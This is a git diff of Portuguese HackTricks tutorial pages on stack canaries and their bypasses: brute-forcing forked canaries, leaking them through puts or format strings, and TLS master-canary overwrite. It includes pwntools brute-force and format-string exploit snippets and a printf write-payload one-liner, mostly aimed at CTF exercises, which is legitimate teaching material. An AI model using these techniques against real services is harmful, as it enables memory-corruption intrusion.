**Protetor de Stack Smash (ProPolice) `-fstack-protector`:** +## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -Esse mecanismo coloca um **canary** antes do **EBP** e reorganiza as variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que eles sobrescrevam outras variáveis. Ele também copia com segurança os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro de uma estrutura do usuário. +Esse mecanismo coloca um **canário** antes do **EBP**, e reorganiza variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que sobrescrevam outras variáveis. Ele também copia de forma segura os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro da estrutura de um usuário. -O **canary** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado no **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()`** é usado sem criar um novo canary, todos os processos (pai e filhos) compartilham o mesmo canary, tornando-o vulnerável. Na arquitetura **i386**, o canary é armazenado em `gs:0x14`, e no **x86\_64**, em `fs:0x28`. +O **canário** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado em **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()` for usado sem criar um novo canário, todos os processos (pai e filhos) compartilham o mesmo canário**, tornando-o vulnerável. Na arquitetura **i386**, o canário é armazenado em `gs:0x14`, e em **x86\_64**, em `fs:0x28`. -Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canary e no final para verificar sua integridade. +Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canário, e no final para verificar sua integridade. -Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o byte do canary por byte. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, anulando o ataque. `vfork()` permite que o processo filho execute sem duplicação até tentar escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória. +Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o byte do canário um por um. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, negando o ataque. `vfork()` permite que o processo filho execute sem duplicação até que tente escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória. ### Comprimentos -Em binários `x64`, o cookie do canary é um qword de **`0x8`** bytes. Os **sete primeiros bytes são aleatórios** e o último byte é um **byte nulo**. +Em binários `x64`, o cookie do canário é um **`0x8`** byte qword. Os **primeiros sete bytes são aleatórios** e o último byte é um **byte nulo.** -Em binários `x86`, o cookie do canary é um dword de **`0x4`** bytes. Os **três primeiros bytes são aleatórios** e o último byte é um **byte nulo**. +Em binários `x86`, o cookie do canário é um **`0x4`** byte dword. Os **primeiros três bytes são aleatórios** e o último byte é um **byte nulo.** {% hint style="danger" %} -O byte menos significativo de ambos os canaries é um byte nulo porque será o primeiro na pilha vindo de endereços mais baixos e, portanto, **funções que leem strings irão parar antes de lê-lo**. +O byte menos significativo de ambos os canários é um byte nulo porque será o primeiro na pilha vindo de endereços mais baixos e, portanto, **funções que leem strings pararão antes de lê-lo**. {% endhint %} ## Bypasses -**Vazando o canary** e então sobrescrevendo-o (por exemplo, estouro de buffer) com seu próprio valor. +**Vazar o canário** e depois sobrescrevê-lo (por exemplo, estouro de buffer) com seu próprio valor. -* Se o **canary é bifurcado em processos filhos**, pode ser possível **forçá-lo por tentativa e erro** um byte de cada vez: +* Se o **canário for duplicado em processos filhos**, pode ser possível **forçar** um byte de cada vez: {% content-ref url="bf-forked-stack-canaries.md" %} [bf-forked-stack-canaries.md](bf-forked-stack-canaries.md) {% endcontent-ref %} -* Se houver alguma **vulnerabilidade de vazamento ou leitura arbitrária interessante** no binário, pode ser possível vazá-lo: +* Se houver algum **vazamento interessante ou vulnerabilidade de leitura arbitrária** no binário, pode ser possível vazá-lo: {% content-ref url="print-stack-canary.md" %} [print-stack-canary.md](print-stack-canary.md) @@ -59,27 +59,28 @@ O byte menos significativo de ambos os canaries é um byte nulo porque será o p * **Sobrescrevendo ponteiros armazenados na pilha** -A pilha vulnerável a um estouro de pilha pode **conter endereços de strings ou funções que podem ser sobrescritos** para explorar a vulnerabilidade sem precisar alcançar o canary da pilha. Verifique: +A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** a fim de explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Confira: {% content-ref url="../../stack-overflow/pointer-redirecting.md" %} [pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md) {% endcontent-ref %} -* **Modificando tanto o canary mestre quanto o da thread** +* **Modificando tanto o canário mestre quanto o da thread** -Um **estouro de buffer em uma função com thread** protegida com canary pode ser usado para **modificar o canary mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados). +Um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados). -Além disso, um **estouro de buffer em uma função com thread** protegida com canary poderia ser usada para **modificar o canary mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um **bof na pilha** de uma thread.\ -Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).\ -Esse ataque é realizado no artigo: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Além disso, um estouro de buffer em uma função com threads protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\ +Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).\ +Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Verifique também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, também é gerada por `mmap` de acordo com isso, o que pode permitir o estouro conforme mostrado no artigo anterior. +Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o estouro como mostrado na descrição anterior. * **Modificar a entrada GOT de `__stack_chk_fail`** -Se o binário tiver Partial RELRO, então você pode usar uma escrita arbitrária para modificar a **entrada GOT de `__stack_chk_fail`** para ser uma função fictícia que não bloqueia o programa se o canary for modificado. +Se o binário tiver Partial RELRO, então você pode usar uma escrita arbitrária para modificar a **entrada GOT de `__stack_chk_fail`** para ser uma função dummy que não bloqueia o programa se o canário for modificado. + +Esse ataque é realizado na descrição: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -Esse ataque é realizado no artigo: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) ## Referências * [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html) @@ -87,16 +88,16 @@ Esse ataque é realizado no artigo: [https://7rocky.github.io/en/ctf/other/secur * [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 1d30adb92..a18ff97e1 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -6,29 +6,29 @@ Aprenda e pratique Hacking GCP: -Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. {% endhint %} -**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.** +**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), você provavelmente precisa encontrar uma maneira de contorná-los.** ![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} -Observe que o **`checksec`** pode não detectar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\ -No entanto, você pode perceber manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. +Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\ +No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. {% endhint %} -## Brute force no Canary +## Brute force Canary A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**. -Então, a melhor maneira de contornar o canário é simplesmente **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra forma em **outras situações** poderia ser usando um **try/except**): +Então, a melhor maneira de contornar o canário é apenas **forçá-lo de forma brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**): ### Exemplo 1 @@ -73,8 +73,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Exemplo 2 -Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\ -Também observe que, para este exemplo, o **programa espera primeiro um byte para indicar o tamanho da entrada** e a carga útil. +Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.\ +Também note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload. ```python from pwn import * @@ -117,15 +117,15 @@ log.info(f"The canary is: {canary}") ``` ## Threads -As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar a barra** de um canary se o binário gerar uma nova thread sempre que um ataque ocorrer. +Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário gerar um novo thread toda vez que um ataque acontecer. -Além disso, um **estouro de buffer em uma função com thread** protegida com canary poderia ser usado para **modificar o canary mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um **estouro de buffer na pilha** de uma thread.\ -Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).\ -Este ataque é realizado no writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de um thread.\ +Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).\ +Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, também é gerada por `mmap` de acordo com isso, o que pode permitir o estouro conforme mostrado no writeup anterior. +Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior. -## Outros exemplos e referências +## Other examples & references * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) -* 64 bits, sem PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule para lá. +* 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pular lá. diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index 7217013da..d009698eb 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,59 +1,59 @@ -# Imprimir Stack Canary +# Print Stack Canary {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Ampliar stack impresso +## Enlarge printed stack -Imagine uma situação em que um **programa vulnerável** a estouro de pilha pode executar uma função **puts** apontando para **parte** do **estouro de pilha**. O atacante sabe que o **primeiro byte do canary é um byte nulo** (`\x00`) e o restante do canary são bytes **aleatórios**. Então, o atacante pode criar um estouro que **sobrescreve a pilha até apenas o primeiro byte do canary**. +Imagine uma situação onde um **programa vulnerável** a estouro de pilha pode executar uma função **puts** **apontando** para **parte** do **estouro de pilha**. O atacante sabe que o **primeiro byte do canário é um byte nulo** (`\x00`) e o restante do canário são **bytes aleatórios**. Então, o atacante pode criar um estouro que **sobrescreve a pilha até apenas o primeiro byte do canário**. -Em seguida, o atacante **chama a funcionalidade puts** no meio da carga útil que irá **imprimir todo o canary** (exceto o primeiro byte nulo). +Então, o atacante **chama a funcionalidade puts** no meio do payload que irá **imprimir todo o canário** (exceto o primeiro byte nulo). -Com essa informação, o atacante pode **criar e enviar um novo ataque** conhecendo o canary (na mesma sessão do programa). +Com essa informação, o atacante pode **elaborar e enviar um novo ataque** conhecendo o canário (na mesma sessão do programa). -Obviamente, essa tática é muito **restrita**, pois o atacante precisa ser capaz de **imprimir** o **conteúdo** de sua **carga útil** para **extrair** o **canary** e então ser capaz de criar uma nova carga útil (na **mesma sessão do programa**) e **enviar** o **estouro de buffer real**. +Obviamente, essa tática é muito **restrita** pois o atacante precisa ser capaz de **imprimir** o **conteúdo** de seu **payload** para **exfiltrar** o **canário** e então ser capaz de criar um novo payload (na **mesma sessão do programa**) e **enviar** o **verdadeiro estouro de buffer**. **Exemplos de CTF:** * [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canary e então chamar puts para vazá-lo. Com o canary, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')` +* 64 bits, ASLR habilitado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')` * [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html) -* 32 bits, ARM, sem relro, canary, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canary + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system) +* 32 bits, ARM, sem relro, canário, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canário + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system) -## Leitura Arbitrária +## Arbitrary Read -Com uma **leitura arbitrária** como a fornecida por **strings de formato**, pode ser possível vazar o canary. Verifique este exemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e você pode ler sobre abusar de strings de formato para ler endereços de memória arbitrários em: +Com uma **leitura arbitrária** como a fornecida por **strings** de formato, pode ser possível vazar o canário. Confira este exemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e você pode ler sobre abusar de strings de formato para ler endereços de memória arbitrários em: {% content-ref url="../../format-strings/" %} -[strings de formato](../../format-strings/) +[format-strings](../../format-strings/) {% endcontent-ref %} * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) -* Este desafio abusa de uma maneira muito simples de uma string de formato para ler o canary da pilha +* Este desafio abusa de uma maneira muito simples uma string de formato para ler o canário da pilha {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md index e8aeb0477..bf0cea0a1 100644 --- a/binary-exploitation/format-strings/README.md +++ b/binary-exploitation/format-strings/README.md @@ -178,7 +178,7 @@ Como mencionado, para escrever o endereço, geralmente são necessários 2 passo * **HOB** é chamado para os 2 bytes mais altos do endereço * **LOB** é chamado para os 2 bytes mais baixos do endereço -Então, devido a como a string de formato funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro. +Então, devido ao funcionamento da string de formato, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro. Se HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -194,9 +194,9 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` {% endcode %} -### Modelo Pwntools +### Pwntools Template -Você pode encontrar um **modelo** para preparar um exploit para esse tipo de vulnerabilidade em: +Você pode encontrar um **template** para preparar um exploit para esse tipo de vulnerabilidade em: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) @@ -239,13 +239,13 @@ p.interactive()
-Se você está interessado em **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). +Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Aprenda & pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda & pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) Apoie o HackTricks diff --git a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 7709bddb0..80fb37b4b 100644 --- a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,21 +1,21 @@ -# Exemplo de Leitura Arbitrária - Strings de Formato +# Format Strings - Exemplo de Leitura Arbitrária {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Iniciar Leitura Binária +## Ler Binário Início ### Código ```c @@ -30,11 +30,11 @@ printf(buffer); return 0; } ``` -Compile com: +Compile-o com: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` -### Exploração +### Exploit ```python from pwn import * @@ -46,9 +46,9 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` -* O **deslocamento é 11** porque definir vários As e **forçar bruta** com um loop de deslocamentos de 0 a 50 descobriu que no deslocamento 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo. -* Eu usei **`%11$p`** com preenchimento até que eu visse que o endereço estava todo 0x4141414141414141 -* A **carga útil da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes. +* O **offset é 11** porque definir vários As e **brute-forcing** com um loop de offsets de 0 a 50 descobriu que no offset 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo. +* Eu usei **`%11$p`** com preenchimento até que o endereço fosse todo 0x4141414141414141 +* O **payload da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes * O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
